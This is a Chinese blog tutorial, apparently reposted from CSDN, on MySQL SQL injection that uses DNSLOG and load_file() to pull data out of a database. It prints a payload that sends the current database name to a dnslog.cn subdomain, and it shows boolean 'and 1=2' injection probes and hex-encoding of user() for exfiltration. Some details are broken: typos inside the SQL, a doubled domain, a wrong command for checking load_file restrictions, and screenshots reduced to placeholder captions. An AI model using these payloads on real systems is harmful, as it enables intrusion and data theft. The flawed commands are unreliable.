数据库
首页 > 数据库> > 06day_sql_dnslog注入(2)

06day_sql_dnslog注入(2)

作者:互联网

不论是bool型盲注还是时间型盲注,都需要频繁的跑请求才能够获取数据库中的值,在现在WAF的防护下,很可能导致IP被爆,我们可以结合DNSLOG完美快速的将数据取出。如遇到Mysql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

核心语法

//一定要加上/abc不然没结果
select load_file(concat('\\\\',(select database()),'.l296iq.dnslog.cn.dnslog.cn/abc'))
通过对 "selecct databse()" 这一部分语句的构造,就能实现有回显的SQL注入。

数据格式和内容都有限制,需要进行一些处理,并且只能在Windows平台发起load_file请求

点击获取子域名,然后把子域名放进select语句拼接成三级域名
在这里插入图片描述
获取当前数据库名
在这里插入图片描述
在这里插入图片描述

扩展
1=2,1=3,是不等式 --> 注入点
eg:
index.php?articleid=1
文章存在必为真,后面加个and 1=2 时因有AND逻辑,1=2为假``T and F为F, T:真 F:假
1=1为真 T AND T为T 如果用OR或逻辑的话试试, or 1=2 就为真 :T or F 为T
以此来判断注入方式

(user()含有@特殊符号) dnslog不支持子域名含有特殊符号,所以我们就需要转码
所以user()用hex(十六进制)

但是使用load_file需要查看是否有对函数 load_file()有限制
myslq命令查看 load_file()
show global variables like '%得到的当前数据库名%';
NULL 表示不可用, 表示可用
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

标签:load,dnslog,数据库,域名,06day,file,sql,select
来源: https://blog.csdn.net/weixin_46626629/article/details/111564677